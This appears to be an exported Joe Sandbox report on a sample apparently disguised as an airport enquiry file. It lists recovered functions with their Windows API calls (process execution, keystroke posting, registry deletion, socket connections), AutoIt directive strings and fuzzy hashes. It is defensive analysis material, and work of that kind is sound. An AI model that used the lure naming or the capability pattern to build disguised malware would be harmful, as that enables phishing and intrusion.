Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 7032a210a250a43a15a2e130b3f892714dd2318dd1a52ab810947dde15fbc8ad
Instruction ID: a2ad5553cf98b7d973527f516bc6c64e485c43d1530458b2b4a6e6247c1fab78
Opcode Fuzzy Hash: 7032a210a250a43a15a2e130b3f892714dd2318dd1a52ab810947dde15fbc8ad
Instruction Fuzzy Hash: E5719334608304AFDB20DF54C894FAA77B9EF89320F58445AE94A973E1C772AC41DB74

Function 00CFF732 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CFF75C
_memset.LIBCMT ref: 00CFF825
ShellExecuteExW.SHELL32(?), ref: 00CFF86A

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

Part of subcall function 00C9FEC6: _wcscpy.LIBCMT ref: 00C9FEE9

GetProcessId.KERNEL32(00000000), ref: 00CFF8E1
CloseHandle.KERNEL32(00000000), ref: 00CFF910

Strings

@, xrefs: 00CFF839

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: c99ec98eb7b8a75b15cf5d9c725944ec84c2d0481fb20861cfb95cbc08fcb1a6
Instruction ID: e9c5886ff92fd4883d473e26f28d523cb3cf63dd60034c7ddea265a1ff6d1f09
Opcode Fuzzy Hash: c99ec98eb7b8a75b15cf5d9c725944ec84c2d0481fb20861cfb95cbc08fcb1a6
Instruction Fuzzy Hash: 3B61AE75A006199FCF14EF54C4809AEBBF0FF49314F15806DE95AAB391CB30AE42DB95

Function 00CE145D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00CE149C
GetKeyboardState.USER32(?), ref: 00CE14B1
SetKeyboardState.USER32(?), ref: 00CE1512
PostMessageW.USER32(?,00000101,00000010,?), ref: 00CE1540
PostMessageW.USER32(?,00000101,00000011,?), ref: 00CE155F
PostMessageW.USER32(?,00000101,00000012,?), ref: 00CE15A5
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00CE15C8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 4af33848fea8c2ac3f349205dbd5ae885e61dc3fc6135c20e67ffb0dd615e570
Instruction ID: c335a577e13bc6678d9db9ff82011e6cad18c3f4c8559faa680f451ab6f80d91
Opcode Fuzzy Hash: 4af33848fea8c2ac3f349205dbd5ae885e61dc3fc6135c20e67ffb0dd615e570
Instruction Fuzzy Hash: A051E3B06047D53DFB3242268C45BBABEE96B46304F0C4489F9E6458C2C2E89EA4D750

Function 00CE1276 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00CE12B5
GetKeyboardState.USER32(?), ref: 00CE12CA
SetKeyboardState.USER32(?), ref: 00CE132B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00CE1357
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00CE1374
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00CE13B8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00CE13D9

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 7504bfff591b91e05fbda7dceb16880740dfbc8a6bf076e6c35db6dccdd20f65
Instruction ID: 76fd3bc7333d2b229f617d054d4154a6526e030026cf0ed54d4cae56f17af9bc
Opcode Fuzzy Hash: 7504bfff591b91e05fbda7dceb16880740dfbc8a6bf076e6c35db6dccdd20f65
Instruction Fuzzy Hash: 8951E7B05047D53DFB3287268C45BBA7FA95F06300F0C4589E9E446DD2D3A5EEA4E760

Function 00CE589F Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00CE58AC
_wcsncpy.LIBCMT ref: 00CE58E1
_wcsncpy.LIBCMT ref: 00CE5913
_wcsncpy.LIBCMT ref: 00CE5946
_wcsncpy.LIBCMT ref: 00CE5988
_wcsncpy.LIBCMT ref: 00CE59C2
_wcsncpy.LIBCMT ref: 00CE59F1

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 60fb4eb18dc395b2ca2ef871640d8805203bc268b187b50f8734935c7a48d04f
Instruction ID: 457de66400d3b48c7524bbb18f22ce60ea0f23fead4011f27a3f335408c5fe2a
Opcode Fuzzy Hash: 60fb4eb18dc395b2ca2ef871640d8805203bc268b187b50f8734935c7a48d04f
Instruction Fuzzy Hash: E641E6B6C2026976CB10EBB5CC86ACF77B89F06314F508562F518E3221E734D745E3A5

Function 00CE38AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CE48AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00CE38D3,?), ref: 00CE48C7

Part of subcall function 00CE48AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00CE38D3,?), ref: 00CE48E0

lstrcmpiW.KERNEL32(?,?), ref: 00CE38F3
_wcscmp.LIBCMT ref: 00CE390F
MoveFileW.KERNEL32(?,?), ref: 00CE3927
_wcscat.LIBCMT ref: 00CE396F
SHFileOperationW.SHELL32(?), ref: 00CE39DB

Strings

\*.*, xrefs: 00CE3969

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: db7da8c298f9bee181626dfd1bddd012145f10ebf4a2889d7214482c63839b20
Instruction ID: 34fdbae8f234456399e4a48c8d575281376655275d8a597231555a279b4d0ed0
Opcode Fuzzy Hash: db7da8c298f9bee181626dfd1bddd012145f10ebf4a2889d7214482c63839b20
Instruction Fuzzy Hash: FA41BFB21083C49EC751EF65C485AEBB7E8AF88340F14092EB499C3192EB74E788C752

Function 00D07500 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D07519
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D075C0
IsMenu.USER32(?), ref: 00D075D8
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00D07620
DrawMenuBar.USER32 ref: 00D07633

Strings

0, xrefs: 00D0750D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 3026bd99556300817bc46c11dd5c96baaa436361fd05aa89698eb0f980fac5a6
Instruction ID: b71c32ddb1b67f15ad41d3648b9dab77933a5454ced8f436c21c07d149e3fecd
Opcode Fuzzy Hash: 3026bd99556300817bc46c11dd5c96baaa436361fd05aa89698eb0f980fac5a6
Instruction Fuzzy Hash: CA411775A04609EFDB20DF54D884E9ABBF8FB09314F588129E95A9B390D731ED50CFA0

Function 00D0122D Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00D0125C
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D01286
FreeLibrary.KERNEL32(00000000), ref: 00D0133D

Part of subcall function 00D0122D: RegCloseKey.ADVAPI32(?), ref: 00D012A3
Part of subcall function 00D0122D: FreeLibrary.KERNEL32(?), ref: 00D012F5
Part of subcall function 00D0122D: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00D01318

RegDeleteKeyW.ADVAPI32(?,?), ref: 00D012E0

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 6a42326cc067aa9c516fd9a0df7efc556756777617c104edd5824ef187b49e42
Instruction ID: 3544b472fdaefb57efc3f3db90cb115f9bebaf78bad743c4c9114a95d18f0cf1
Opcode Fuzzy Hash: 6a42326cc067aa9c516fd9a0df7efc556756777617c104edd5824ef187b49e42
Instruction Fuzzy Hash: 19312D75901219BFDB14DFA0DC89BFEB7BCEF08300F140169E509E2691DA749E859AB4

Function 00D0653C Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00D0655B
GetWindowLongW.USER32(01655828,000000F0), ref: 00D0658E
GetWindowLongW.USER32(01655828,000000F0), ref: 00D065C3
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00D065F5
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00D0661F
GetWindowLongW.USER32(?,000000F0), ref: 00D06630
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00D0664A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: c784e634109982c81e1d42df9bd2c710925d1ac94773701410b4a80ace1c6d22
Instruction ID: 5bb33fc8b12be720ecb2a3174d725780b10d46f290af47dd59fb2d9c1f163005
Opcode Fuzzy Hash: c784e634109982c81e1d42df9bd2c710925d1ac94773701410b4a80ace1c6d22
Instruction Fuzzy Hash: EE31D234604250AFDB21CF58DC89F553BE1FB4A710F6901A8F51ACB2F5CB62E860DB61

Function 00CF6486 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00CF80A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00CF80CB

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00CF64D9
WSAGetLastError.WSOCK32(00000000), ref: 00CF64E8
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00CF6521
connect.WSOCK32(00000000,?,00000010), ref: 00CF652A
WSAGetLastError.WSOCK32 ref: 00CF6534
closesocket.WSOCK32(00000000), ref: 00CF655D
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00CF6576

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 2c9a5fb5ee44c58bb60228590c0e98a01bf8cb777d687bd331b946f2cf76e7f6
Instruction ID: 5310e0985d43d7f60005b6ba1888fe690a5de87239a3092b0b3b94482c6a95c6
Opcode Fuzzy Hash: 2c9a5fb5ee44c58bb60228590c0e98a01bf8cb777d687bd331b946f2cf76e7f6
Instruction Fuzzy Hash: ED31B371600218AFDB50EF64CC85BBE7BB9EF44714F148069FA19E7291CB74AD04DBA2

Function 00CDE0B5 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CDE0FA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00CDE120
SysAllocString.OLEAUT32(00000000), ref: 00CDE123
SysAllocString.OLEAUT32 ref: 00CDE144
SysFreeString.OLEAUT32 ref: 00CDE14D
StringFromGUID2.OLE32(?,?,00000028), ref: 00CDE167
SysAllocString.OLEAUT32(?), ref: 00CDE175

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 0020e75511a25f70d319f7fc83607db3a31026974ca574a4bc5e1dae82944cff
Instruction ID: c38662c7892f2e3aa8a126399417794ed9a25bda0bd9058a681baf0a76fcfa37
Opcode Fuzzy Hash: 0020e75511a25f70d319f7fc83607db3a31026974ca574a4bc5e1dae82944cff
Instruction Fuzzy Hash: E2217735604209AFDB20BFA9DC88DAB77ECEB09760B108126FA55CB761DA70DD41CB64

Function 00CDFB6E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00CDFB81
__wcsnicmp.LIBCMT ref: 00CDFBA2
__wcsnicmp.LIBCMT ref: 00CDFBBC

Strings

#notrayicon, xrefs: 00CDFB79
#requireadmin, xrefs: 00CDFB9C
#OnAutoItStartRegister, xrefs: 00CDFBB6

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 92032145f7ff2024f6be9529021b579e2bf464a7114d7fe6a2c471ca3409e2ad
Instruction ID: 2878de8581054f0a4999e88e9b4c648a37bed6c8fc5b75d13f02746a3ed0a391
Opcode Fuzzy Hash: 92032145f7ff2024f6be9529021b579e2bf464a7114d7fe6a2c471ca3409e2ad
Instruction Fuzzy Hash: 992128321141557BD330A624DC12EB77398FF52344F14403BFA9786281EB519E93A2A5

Function 00D0783C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C81D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00C81D73
Part of subcall function 00C81D35: GetStockObject.GDI32(00000011), ref: 00C81D87
Part of subcall function 00C81D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00C81D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00D078A1
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00D078AE
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00D078B9
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00D078C8
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00D078D4

Strings

Msctls_Progress32, xrefs: 00D07872

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 50dba222bd2070d242e53326e0a0b35858432f5018a21e9f55976bdd09101bac
Instruction ID: 70a363491ae9cf76e5175cbe9ef44728bf94e84e5cc9f043709d1fd3f7bfab89
Opcode Fuzzy Hash: 50dba222bd2070d242e53326e0a0b35858432f5018a21e9f55976bdd09101bac
Instruction Fuzzy Hash: 01118EB2510219BFEF159F60CC85EE77F6DEF08768F018115BA08A60A0C772AC21DBB4

Function 00CA41C9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00CA4292,?), ref: 00CA41E3
GetProcAddress.KERNEL32(00000000), ref: 00CA41EA
EncodePointer.KERNEL32(00000000), ref: 00CA41F6
DecodePointer.KERNEL32(00000001,00CA4292,?), ref: 00CA4213

Strings

RoInitialize, xrefs: 00CA41D2
combase.dll, xrefs: 00CA41DE

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 647b0b63484ef383e930aac4e96935f62f260aedfd144bd9e84fb4dbe0822d58
Instruction ID: cdbf1db3d3bef6ca314c038292e5bc5e3ecd7b49eb3e5ead40b5b79eefa45154
Opcode Fuzzy Hash: 647b0b63484ef383e930aac4e96935f62f260aedfd144bd9e84fb4dbe0822d58
Instruction Fuzzy Hash: 22E01AF8A90381AFEB205FB0FC09B543AA4B766707F208424F525E56E0DBB554D58F30

Function 00CA429E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00CA41B8), ref: 00CA42B8
GetProcAddress.KERNEL32(00000000), ref: 00CA42BF
EncodePointer.KERNEL32(00000000), ref: 00CA42CA
DecodePointer.KERNEL32(00CA41B8), ref: 00CA42E5

Strings

RoUninitialize, xrefs: 00CA42A7
combase.dll, xrefs: 00CA42B3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 3ea95e449889fd92f81808879996b0907c7f8b7a54978999bc778282cf2d7774
Instruction ID: a2c7653bec2d27b17c80b55acc5d9a33fe1825d7c312f8de293ef0ec4048e992
Opcode Fuzzy Hash: 3ea95e449889fd92f81808879996b0907c7f8b7a54978999bc778282cf2d7774
Instruction Fuzzy Hash: A0E0B67C581301AFEB209F60FC0EB563AA4B726B56F304128F015E1AA0CBB545D4CA34

Function 00CE675A Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00CE68AD
_memmove.LIBCMT ref: 00CE67E8

Part of subcall function 00C89997: __itow.LIBCMT ref: 00C899C2
Part of subcall function 00C89997: __swprintf.LIBCMT ref: 00C89A0C

_memmove.LIBCMT ref: 00CE685B
_memmove.LIBCMT ref: 00CE6942
_memmove.LIBCMT ref: 00CE695B
_memmove.LIBCMT ref: 00CE6977

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: b6af34302f73e7cc86d124cdaa6c703dbf7dfb6507262c8ff84fb63fda3a9fb8
Instruction ID: e9ba57d0d0cbd47a0c8f1797bce893ccbe11fb2a00840eb25339c7a07f9c75a3
Opcode Fuzzy Hash: b6af34302f73e7cc86d124cdaa6c703dbf7dfb6507262c8ff84fb63fda3a9fb8
Instruction Fuzzy Hash: AE61CD3051029A9BCF11FF61CC82EFE37A8AF5534CF084519F85A6B292EB34AD41EB50

